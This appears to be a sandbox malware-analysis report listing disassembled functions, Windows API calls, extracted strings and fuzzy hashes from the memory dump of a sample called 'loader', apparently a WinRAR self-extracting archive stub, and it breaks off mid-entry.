Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 3638b543baefe825f0cfea7ddcc59f83269223cec765c03e14e5715a2fc4bb6b
Instruction ID: 76811e2733106a7cf7c678bb76ae18dbf42e7327310b301606ba33e72a87cb9e
Opcode Fuzzy Hash: 3638b543baefe825f0cfea7ddcc59f83269223cec765c03e14e5715a2fc4bb6b
Instruction Fuzzy Hash: 1521F732240225BBD7119F66EC4AF7B3B7FEB46B85F022019F604D66A0CB52DE019735

Function 0063AF24 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0063AF29

Strings

Windows 10, xrefs: 0063B0C2
SELECT * FROM Win32_OperatingSystem, xrefs: 0063AFCA
Name, xrefs: 0063B0B0
ROOT\CIMV2, xrefs: 0063AF5C
WQL, xrefs: 0063AFDC
nd, xrefs: 0063AFC0

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10$nd
API String ID: 3519838083-3110793395
Opcode ID: f8fe175e92c2791862f1af1575f2f10a0dd840b6095c3e4b5a529abc77210e6a
Instruction ID: 9db3a2533b389d31ac683e8c24b6bf4d483c2309927635b321928ce99328cc44
Opcode Fuzzy Hash: f8fe175e92c2791862f1af1575f2f10a0dd840b6095c3e4b5a529abc77210e6a
Instruction Fuzzy Hash: D7714E71A00629AFDB14DFA4CC959AFB7BAFF48710F14015DE516A73A0CB70AE42DB90

Function 00649711 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 126COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00649736
_wcslen.LIBCMT ref: 006497D6
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0064982D

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00649760
</html>, xrefs: 006497B7
<html>, xrefs: 00649755, 0064978E
utf-8"></head>, xrefs: 0064976B

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen$CreateGlobalStream
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1938992887-4209811716
Opcode ID: a8e72c82e617bdaea83afc7580cfe9a49c098682fdacccc18689ca9e244f14c4
Instruction ID: f47a386db7b617271a8081077fd0a9483dc84bc2ed6448bca03c9723d3c63a52
Opcode Fuzzy Hash: a8e72c82e617bdaea83afc7580cfe9a49c098682fdacccc18689ca9e244f14c4
Instruction Fuzzy Hash: 933148325483117ED725AF249C06FAB7B9E9F43721F14051EF802962D2EF609A0983BA

Function 00631100 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0063112B
_wcslen.LIBCMT ref: 00631153
_wcslen.LIBCMT ref: 00631182
_wcslen.LIBCMT ref: 006311A9

Strings

zd, xrefs: 00631219
Ud, xrefs: 0063120D, 0063123B
pd, xrefs: 00631205, 00631233

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen
String ID: Ud$pd$zd
API String ID: 176396367-3915611454
Opcode ID: a07dae50d0d7cb3a811be493124abf2281faa4ff55bf2fdc20295570a21d613f
Instruction ID: b25e27db4d39c34dcb312030a009b722d7b411e2d644723572ab507ff3ca424f
Opcode Fuzzy Hash: a07dae50d0d7cb3a811be493124abf2281faa4ff55bf2fdc20295570a21d613f
Instruction Fuzzy Hash: A241B3719006699BCB619F688C0A9EF7BBDEF01311F00002EFD46E7345DE30AE498AE4

Function 00649ED5 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00649EEE
GetWindowRect.USER32(?,00000000), ref: 00649F44
ShowWindow.USER32(?,00000005,00000000), ref: 00649FDB
SetWindowTextW.USER32(?,00000000), ref: 00649FE3
ShowWindow.USER32(00000000,00000005), ref: 00649FF9

Strings

RarHtmlClassName, xrefs: 00649FA5
d, xrefs: 00649F52, 00649F87

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Window$Show$RectText
String ID: d$RarHtmlClassName
API String ID: 3937224194-1757021614
Opcode ID: 7289af701e0488d0f53d3d6017d41eab85de58d3c0a8e1566b2156c23175948f
Instruction ID: 9655929f323d7075787537863544c91c3f8d947e6a3cd28775b5f5cdf35457be
Opcode Fuzzy Hash: 7289af701e0488d0f53d3d6017d41eab85de58d3c0a8e1566b2156c23175948f
Instruction Fuzzy Hash: 1541B131048320EFCB615FA4EC49B6B7BAAFF49705F00455AF8499A266CB34D909CB66

Function 00632210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00632536

Part of subcall function 00634092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006340A5

Part of subcall function 006405DA: _wcslen.LIBCMT ref: 006405E0

Strings

xc%u, xrefs: 0063275A
;%u, xrefs: 00632523
x%u, xrefs: 006326FD

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: 99dfe9f531ec0694521f299d8861214ca23b20da605cb0bb15eed938a214bb0c
Instruction ID: 31acfa59e027b18b4b8ef824d19f3f9680bd8b0d30348394db8e6492342f67ad
Opcode Fuzzy Hash: 99dfe9f531ec0694521f299d8861214ca23b20da605cb0bb15eed938a214bb0c
Instruction Fuzzy Hash: 8FF1F7706083419BDB15DB2888A5BFE77DB6F91300F08056DFD86AB383CB649949C7E6

Function 0064A80C Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 0064A699: GetDC.USER32(00000000), ref: 0064A69D
Part of subcall function 0064A699: GetDeviceCaps.GDI32(00000000,0000000C), ref: 0064A6A8
Part of subcall function 0064A699: ReleaseDC.USER32(00000000,00000000), ref: 0064A6B3

GetObjectW.GDI32(?,00000018,?), ref: 0064A83C

Part of subcall function 0064AAC9: GetDC.USER32(00000000), ref: 0064AAD2
Part of subcall function 0064AAC9: GetObjectW.GDI32(?,00000018,?), ref: 0064AB01
Part of subcall function 0064AAC9: ReleaseDC.USER32(00000000,?), ref: 0064AB99

Strings

lUf, xrefs: 0064A902
(, xrefs: 0064A9AA
Ad, xrefs: 0064A9BA
"d, xrefs: 0064A89D, 0064AAB9

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: "d$($Ad$lUf
API String ID: 1061551593-3154586099
Opcode ID: 6b1ba84a56e58b5529a796954c564ab7ff1b8eb4011843fe869df0ad2c7e29c0
Instruction ID: 834e7f2313b1707ad89ff7ec6c05e0845becba8ea2bb03f853e123ab8e8c1d54
Opcode Fuzzy Hash: 6b1ba84a56e58b5529a796954c564ab7ff1b8eb4011843fe869df0ad2c7e29c0
Instruction Fuzzy Hash: FB91E071608354AFD710DF65C854A6BBBFAFF88700F00591EF59AD3260DB70AA46CB62

Function 00649CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00649D0A

Strings

<style>, xrefs: 00649E30
<br>, xrefs: 00649DFE
>, xrefs: 00649D4B
</p>, xrefs: 00649DE8
</style>, xrefs: 00649E52

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 226b6a78aacfbd22f2a18c742261ec492f7aa19de2d46c0d59b3f1aeb148a402
Instruction ID: c55946c4c020ee4141e1f60c4a58772fa2a84139b9feb8ed6a0803422bcde424
Opcode Fuzzy Hash: 226b6a78aacfbd22f2a18c742261ec492f7aa19de2d46c0d59b3f1aeb148a402
Instruction Fuzzy Hash: 6351F766BC072395DB34AA659811BF773E3DFA1790F69042AF9C18B3C0FB658C818275

Function 00652900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00652937
___except_validate_context_record.LIBVCRUNTIME ref: 0065293F
_ValidateLocalCookies.LIBCMT ref: 006529C8
__IsNonwritableInCurrentImage.LIBCMT ref: 006529F3
_ValidateLocalCookies.LIBCMT ref: 00652A48

Strings

csm, xrefs: 006529DD

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 69a3909d4cdd450d4826000630f4ff31296aa8ace3a40d63b0a83cb2b5629ac9
Instruction ID: ea27628494ac5957f99d46c90064c91a222d28663c1397612d7201975dcf7bc7
Opcode Fuzzy Hash: 69a3909d4cdd450d4826000630f4ff31296aa8ace3a40d63b0a83cb2b5629ac9
Instruction Fuzzy Hash: 64410634A0021AAFCF10DF69C891ADE7BB2EF45325F148159EC156B392D771DA09CF90

Function 00649955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0064995E
_wcslen.LIBCMT ref: 00649993

Strings

, xrefs: 006499B0
 , xrefs: 00649A21
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00649987
<br>, xrefs: 006499DF

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: f9aee7bad32b14f8ed5ff6356a1a5187b3cad849cc0b4c33c756a88708a8759b
Instruction ID: ef9559074dca2d11c0a0b088a626925dcda191cc52832c19032ddbd4320f635d
Opcode Fuzzy Hash: f9aee7bad32b14f8ed5ff6356a1a5187b3cad849cc0b4c33c756a88708a8759b
Instruction Fuzzy Hash: 6E310A326843455ADB34AB549C42BB773A6EB50720F54441FF88697380FB50ADC983B5

Function 0064AAC9 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0064AAD2
GetObjectW.GDI32(?,00000018,?), ref: 0064AB01
ReleaseDC.USER32(00000000,?), ref: 0064AB99

Strings

d, xrefs: 0064AB25
7d, xrefs: 0064AB67
-d, xrefs: 0064AB32, 0064AB3F, 0064AB73, 0064AB7F

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: ObjectRelease
String ID: -d$7d$d
API String ID: 1429681911-2951457888
Opcode ID: 9e062a8342086c3c1f652eff8ea1378270e996587c64415f489d9b1e9935cf52
Instruction ID: 10d2a980f8ddad9cc50c434ed58772d1feb09543770a4d7c1a3ba97feab9ae0f
Opcode Fuzzy Hash: 9e062a8342086c3c1f652eff8ea1378270e996587c64415f489d9b1e9935cf52
Instruction Fuzzy Hash: 7B212872108314BFD3019FA5DC48E6FBFEEFB89355F04192AFA46D2620D7319A548B62

Function 0063C0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 006405DA: _wcslen.LIBCMT ref: 006405E0

Part of subcall function 0063B92D: _wcsrchr.LIBVCRUNTIME ref: 0063B944

_wcslen.LIBCMT ref: 0063C197
_wcslen.LIBCMT ref: 0063C1DF

Strings

.sfx, xrefs: 0063C11A
.rar, xrefs: 0063C0E1, 0063C134
.exe, xrefs: 0063C10B

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: 10d45d905cf5c6b1f153aa3c43829892897ddf323edeeb66c7c32f31f571e3ed
Instruction ID: 6d2fdbf66f9d26c5c82a5dd6020b0f5fd81c6923a219b9ff475861f2ad23e878
Opcode Fuzzy Hash: 10d45d905cf5c6b1f153aa3c43829892897ddf323edeeb66c7c32f31f571e3ed
Instruction Fuzzy Hash: 80417A2650036199D735AF748852ABBB3EBEF41764F10090EF9D27B2C1EB614E82D3D9

Function 0064CE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 0063B690: _wcslen.LIBCMT ref: 0063B696

_swprintf.LIBCMT ref: 0064CED1

Part of subcall function 00634092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006340A5

SetDlgItemTextW.USER32(?,00000066,0067946A), ref: 0064CEF1
_wcschr.LIBVCRUNTIME ref: 0064CF22
EndDialog.USER32(?,00000001), ref: 0064CFFE

Strings

%s%s%u, xrefs: 0064CEC6

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: DialogItemText__vswprintf_c_l_swprintf_wcschr_wcslen
String ID: %s%s%u
API String ID: 3419047066-1360425832
Opcode ID: 7021b74e99074cccc0bf62e7524521d19013539118f767b2287b99e613a18f3b
Instruction ID: e46cdc16e587e71298022d304a4f77ffd16ceabd8edab4eb73edead416143cb7
Opcode Fuzzy Hash: 7021b74e99074cccc0bf62e7524521d19013539118f767b2287b99e613a18f3b
Instruction Fuzzy Hash: 0C418071900218AADF65DF90CC45AEE77FEEB06350F4080A6FA09E7251EE749A84CF65

Function 0064CD58 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0064CD84

Part of subcall function 0064AF98: _wcschr.LIBVCRUNTIME ref: 0064B033

Strings

MIN, xrefs: 0064CDF5
<, xrefs: 0064CD68
HIDE, xrefs: 0064CDC6
MAX, xrefs: 0064CDD9

Memory Dump Source

